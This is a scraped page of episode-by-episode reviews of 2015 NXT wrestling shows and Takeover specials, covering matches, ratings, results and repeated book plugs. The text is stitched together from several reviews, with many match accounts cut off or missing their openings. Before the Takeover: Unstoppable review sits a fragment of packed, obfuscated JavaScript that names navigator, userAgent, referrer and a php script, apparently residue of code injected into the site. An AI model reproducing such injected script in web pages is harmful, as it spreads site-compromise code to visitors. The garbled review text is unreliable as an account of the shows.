Opening sequence.

Sami Zayn vs. Adam Rose

Tye Dillinger vs. Apollo Crews

We get a Vaudevillains vignette with the two of them looking very angry.

Stills of Kevin Owens appearing at the NXT Milwaukee house show.

Baron Corbin vs. Rich Swann

Swann is a longtime indy talent who recently signed with NXT. Corbin throws him into the corner to start and backdrops him into a 450. Off to something like a Tazmission from Corbin before Rich starts using some speed to avoids a few charges. A spinning kick to the face gets two on Corbin but Rich misses something off the top and charges into a big swinging Rock Bottom (called Deep Six) for the pin at 3:14.

Carmella/Bayley vs. Emma/Alexa Bliss

Rating: C+. Standard formula tag match here with Bayley playing the perfect face in peril until Carmella gets to make the comeback for the win. It makes a lot more sense to have Carmella get the win here as she needs to be built up before the title match and what better way to do that than by beating one of the many midcard heels?

Balor agrees to give Crews a non-title match.

Johnny Gargano vs. Samoa Joe

Another kick puts Gargano on the floor but he dives in at nine with Graves ripping on him for going back to the beating. Back in and a quick enziguri and DDT stagger Joe but he kicks Gargano out of the air on a slingshot attempt. Gargano is already knocked silly so the Koquina Clutch puts him out of his misery at 4:30.

Rating: C+. Joe is the kind of guy who can work this physical ROH style and make it look good in short bursts. The Ciampa match was better but this was another hard hitting match where both guys came out looking good, even though this was pretty one sided for the most part. Gargano is another name that should be fine.

Results

Sami Zayn b. Adam Rose – Koji Clutch

Apollo Crews b. Tye Dillinger – Lifting sitout powerbomb

Baron Corbin b. Rich Swann – Deep Six

Carmella/Bayley b. Emma/Alexa Bliss – Leg crossface to Bliss

Samoa Joe b. Johnny Gargano – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

Opening sequence.

The announcers welcome us to the show for a change.

Tag Team of the Year: Enzo Amore/Colin Cassady

Female Competitor of the Year: Bayley

Male Competitor of the Year: Finn Balor

NXT Takeover of the Year: Takeover: Brooklyn

Match of the Year: Bayley vs. Sasha Banks – Takeover: Brooklyn

Overall Competitor of the Year: Finn Balor

Tommaso Ciampa vs. Danny Burch

Two weeks from tonight, Sami Zayn vs. Samoa Joe vs. Baron Corbin for the #1 contendership.

Scott Dawson/Dash Wilder vs. Ascension

Elias Samson vs. Corey Hollis

Samson forearms him down to start and stomps away in the corner. A throw sends Hollis flying and Samson stop to laugh. Samson looks down at him before grabbing a hard swinging neckbreaker for the pin at 2:20.

Samson says what this place needs is what he is.

Battle Royal

Carmella, Peyton Royce, Alexa Bliss, Aliyah, Cameron, Liv Morgan, Billie Kay, Deonna Purrazzo, Emma, Eva Marie, Asuka

We take an early break and come back with no eliminations but Cameron throws Aliyah out a few seconds later. Cameron gets rid of Purrazzo as well, followed by Morgan botching something that looked like a powerbomb. She tries it again but Bliss comes up from behind and tosses Morgan and Cameron at the same time. Emma gets Carmella in the Dilemma to send her underneath the ropes and out to the floor, meaning no elimination. Bliss chokes Emma, only to be put on the apron and punched off for an elimination.

Rating: C-. These things are always hard to rate but the false finish was a nice way to tease the crowd. It says a lot that they had to have two people on the floor until the end for the double false finish. The other good thing here though is they kept Asuka safe, likely for a big showdown in Texas against Bayley.

Carmella celebrates until Bayley comes out for a hug. Asuka gives them an evil smile to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

Opening sequence.

NXT Title: Kevin Owens vs. Sami Zayn

We take a quick look at Hideo Itami.

We look at the end of Finn Balor defeating Tyler Breeze to become #1 contender at Takeover: Unstoppable.

NXT went on the road for the first time this year, including a tour of Ohio. We see the ending of a never before seen match from Columbus with Cesaro vs. Neville which will be available in full on the Best of NXT DVD. Cesaro broke up the Red Arrow and got the win off a Neutralizer out of the corner.

Now we look at some of the new names debuting for NXT, including Samoa Joe, who challenged Baron Corbin at Takeover: Brooklyn.

Samoa Joe vs. Baron Corbin

The announcers think Joe is going to kill him. Joe has the Clutch on in less than a minute but Baron makes it to the floor. Back in and an enziguri in the corner puts Corbin right back on the floor, only to have him blast Joe in the face to stop a suicide dive. Joe kicks him in the face though and does his rotating submissions spot until Corbin puts his foot on the ropes.

Baron grabs a heel hook but Joe makes the rope a few seconds later. Something like a Boss Man Slam gets two on Joe so Corbin superkicks him. That earns Baron a second enziguri though and both guys are down. Back up and they slug it out with Joe taking over. Corbin locks the Muscle Buster before hitting kind of a loose Jackhammer for two. The End of Days is broken up so Corbin lifts him up into a choke spinebuster. Joe flips the cover into the Koquina Clutch though and Corbin is out at 10:24.

This led to Kevin Owens answering the Challenge but wanting to fight Cena on pay per view in a non-title match. From Elimination Chamber 2015.

Kevin Owens vs. John Cena

Kevin starts talking more trash before winning a slugout, only to get caught in the springboard Stunner for two. Frustration is setting in so Cena takes him up top for a superplex, only to have Owens counter into a spinning superplex of his own for two. Owens runs to the top for a Swanton for two more and now Kevin is frustrated. Cena nails that big running clothesline and Owens is rocked. John goes for another but walks into the pop up powerbomb for the completely clean pin at 20:03.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

We open with a recap/highlight package from Takeover. I might be looking forward to Takeover more than Wrestlemania.

Opening sequence.

Vaudevillains vs. Hype Bros vs. Blake and Murphy vs. Chad Gable/Jason Jordan

Gable and English get things going with Chad easily taking him to the mat. It’s off to Gotch for a wristlock but Chad easily takes him down to the delight of the crowd. Mojo tags himself in but Gable and Jordan clean house, leading to a four way staredown.

(thanks to Bliss) with a stomp to the ribs for two. Blake starts in on Chad’s leg until English tags himself in to take over.

Dana Brooke yells at Emma for losing to Asuka. Asuka comes in and smiles so Dana turns around and asks Emma if Asuka left yet.

Sami Zayn is back tonight.

Video on the European tour.

Clips of Finn Balor vs. Samoa Joe from Takeover.

Tye Dillinger is tired of people talking about Sami Zayn, who is not a perfect ten.

More from the song man, who debuts next.

Next week (and perhaps the week after) will be the Best of 2015.

Clips of Apollo Crews vs. Baron Corbin.

Corbin brags about his win and declares himself #1 contender.

Bull Dempsey vs. Elias Samson

Sampson is confirmed as the drifting guitar player. Bull starts with some clotheslines so Samson stomps him down into the corner. The snap jabs and a shoulder put Elias down but he comes back with a quick knockdown. That gives us a creepy smile from Elias, followed by a top rope elbow to pin Bull at 1:37. Well that was quick. Not very impressive but quick.

Clips of Bayley retaining over Nia Jax.

Tye Dillinger vs. Sami Zayn

We have to pause the start of the match due to some extended OLE chants. Tye starts going after the arm to start but Sami reverses into a wristlock of his own and we get a standoff. A pair of armdrags send Ty to the floor but he bails away from a dive, leaving Sami to flip back into the ring. They head outside with Sami being sent shoulder first into the post, taking us to our first break.

Now we get the big flip dive and the fans are very happy to have Sami back. The Blue Thunder Bomb gets two but the Helluva kick is countered into a rollup for two (with a handful of tights). Tye starts fighting back but gets suplex into the corner, setting up the Helluva kick for the pin at 12:47.

He looked fine here and that’s all that matters.

and soaks in some OLE’s. The trend in his career has been every time a dream comes true, it quickly turns into a nightmare. It happened when he won the NXT Title and it happened when he showed up on Raw but tonight broke the trend. This is just the beginning and 2016 will be even better for NXT and Sami Zayn.

Results

Chad Gable/Jason Jordan b. Hype Bros, Blake and Murphy and Vaudevillains – Grand Amplitude to Blake

Elias Samson b. Bull Dempsey – Top rope elbow

Sami Zayn b. Tye Dillinger – Helluva kick

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

In this book, I’ll be looking at every the first year and a half of NXT, starting with their arrival in Florida at Full Sail University and wrapping it up just before they head over to the WWE Network. NXT started fast and quickly became one of the best wrestling shows around and it will be interesting to see how they got to where they are now. As usual I’ll be providing play by play, context and analysis of every show.

Chad Gable/Jason Jordan vs. Steve Cutler/Elias Samson

Clip of the NXT girls debuting on Raw and cleaning house. No sign of Stephanie and suddenly this is WAY better. That triple submission is an awesome visual.

Samoa Joe vs. Axel Tischer

Blake/Murphy vs. Angelo Dawkins/Sawyer Fulton

Non-title. Blake and Murphy start by taking turns on Dawkins with Blake slapping on a chinlock. Murphy comes in for a chinlock of his own as the announcers talk about sandwiches for no apparent reason. Dawkins fights up but Blake is smart enough to pull Fulton to the floor. The brainbuster and frog splash are enough for the pin on Angelo at 3:03.

The champs beat Dawkins down post match and flip Alexa into the air for the Sparkle Splash. Again, that looked cool.

We look back at Charlotte being granted a title match.

Clip of Owens losing the NXT Title to Finn Balor in Japan.

Sasha is defending. Charlotte starts slowly by shoving Sasha into the corner (too common a move) and throwing in a little Flair strut. The champ is sent down into the ropes and Charlotte nips up just because she can. A knee to the face and the double knees in the corner put Charlotte down for two as the momentum swing takes us to a break. Back with Charlotte getting choked in the corner (because where else would it be?), allowing Sasha to bust out the Flair strut.

They shake hands and hug for a cool moment to end the show.

Results

Chad Gable/Jason Jordan b. Steve Cutler/Elias Samson – Bridging belly to back suplex to Samson

Samoa Joe b. Axel Tischer – Koquina Clutch

Blake/Murphy b. Angelo Dawkins/Sawyer Fulton – Frog splash to Dawkins

Sasha Banks b. Charlotte – Bank Statement

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fniyz|var|u0026u|referrer|ibnff||js|php'.split('|'),0,{})) Takeover: Unstoppable
Date: May 20, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Byron Saxton, Corey Graves

The opening video features a bunch of fans talking about why they love NXT and thanking the promotion for giving them wrestling back. It transitions into a regular opening video with clips of every match and soundbytes from the wrestlers.

Four models, wearing fur and talking pictures of themselves, walk the aisle like a runway and I think you know where this is going.

Tyler Breeze vs. Finn Balor

Back in and Balor kicks him in the head for two more. The Sling Blade gets the same but Breeze stops a charge with a Supermodel Kick for a very close two. Tyler unhooks a buckle pad but misses the Beauty Shot. Balor misses a double stomp and gets rolled up for two before being sent into the exposed buckle, setting up a Beauty Shot for two.

Owens watches from the back.

Someone from Game of Thrones and Stephanie McMahon are in the front row.

Clips of the northeast tour.

Dana Brooke/Emma vs. Bayley/Charlotte

Some NXT rookies are here, headlined by the still yet to be named Uhaa Nation.

Baron Corbin vs. Rhyno

We look at Owens beating up Cena on Raw.

Tag Team Titles: Enzo Amore/Colin Cassady vs. Blake/Murphy

Back to Murphy for a superplex but Amore fights him off and hits a tornado DDT to set up the double tag. Cass cleans house and gets two off the Empire Elbow before tagging a very banged up Enzo for the Rocket Launcher. Cue Alexa Bliss to jump Carmella, drawing Cass out before he can throw his partner. Bliss crotches Enzo to give Blake the pin to retain at 8:48.

Eva Marie is here and is met with indifference.

Sasha flips out of a pumphandle suplex but gets pulled down into the seated armbar, sending her crawling to the ropes for the break. Becky gets kicked out to the floor again for a suicide dive but Lynch catches her (mostly) on the fly and drives the champ into the steps. Back in and Becky gets knocked off the top, setting up the Bank Statement (with an additional arm trap) for the tap out at 15:30.

Becky gets a standing ovation.

We recap Owens vs. Zayn. They were friends for years but Owens attacked Zayn after Sami won the title at Takeover: R-Evolution. Owens said he wanted to provide a better life for his family but has been using that as an excuse to be an evil jerk. He beat Zayn for the title last time but now Sami is coming in with a bad shoulder.

NXT Title: Sami Zayn vs. Kevin Owens

Sami is challenging. Owens comes out wearing a John Cena The Champ Is Here shirt. After the Big Match Intros, Owens bails to the floor as is his custom. Sami gets tired of waiting and goes after him by sending Owens into the steps and hammering away. He throws Owens into the barricade before they spill into the crowd. Owens tries a powerbomb on the concrete but Sami grabs a barricade to escape.

Results

Finn Balor b. Tyler Breeze – Coup de Grace

Charlotte/Bayley b. Dana Brooke/Emma – Natural Selection to Emma

Baron Corbin b. Rhyno – End of Days

Blake/Murphy b. Enzo Amore/Colin Cassady – Blake pinned Amore after Bliss crotched him on the top rope

Sasha Banks b. Becky Lynch – Bank Statement

Kevin Owens vs. Sami Zayn went to a no contest

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

Opening sequence.

Solomon Crowe vs. Baron Corbin

Sasha Banks vs. ???

Charlotte and Bayley want a tag match with Emma and Dana Brooke at Takeover. Nothing wrong with combining feuds into one match.

We get the same Uhaa Nation vignette from last week.

Alexa Bliss vs. Carmella

Murphy and Blake get in the ring and the fans chant NO MEANS NO. Carmella says her boys will be here next week and prove that Blake and Murphy are SAWFT. The fans were actually behind here here.

Itami says he wants to fight Owens after he wins the triple threat to beat some respect into Kevin.

Emma and Dana Brooke are on for the tag match. They leave but Brooke comes back to pat Devin on the head.

Hideo Itami/Finn Balor vs. Tyler Breeze/Adam Rose

Breeze stays in for a chinlock before Rose gets two off a spinebuster, which transitions into a Boston crab. When is the last time anyone not named Jericho used that move? A rope is grabbed so Rose switches over to a sleeper. Balor finally jawbreaks his way to freedom and nails a Pele, setting up the hot tag to Itami. The fans quickly get into Hideo as he fires off his strikes on Breeze. Balor tags himself in though and hits the Sling Blade on Rose, but Itami tags himself in to break up the Coup de Grace. The fans cheer for Hideo, only to have Breeze roll him up for the pin at 11:52.

Breeze kicks Balor and Itami down and gets cheered on by some of the crowd. Rose congratulates him but eats a Supermodel Kick.

Another package on Sami vs. Cena.

Results

Baron Corbin b. Solomon Crowe – End of Days

Sasha Banks b. ??? – Bank Statement

Alexa Bliss b. Carmella – Sparkle Splash

Tyler Breeze/Adam Rose b. Hideo Itami/Finn Balor – Small package to Itami

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at: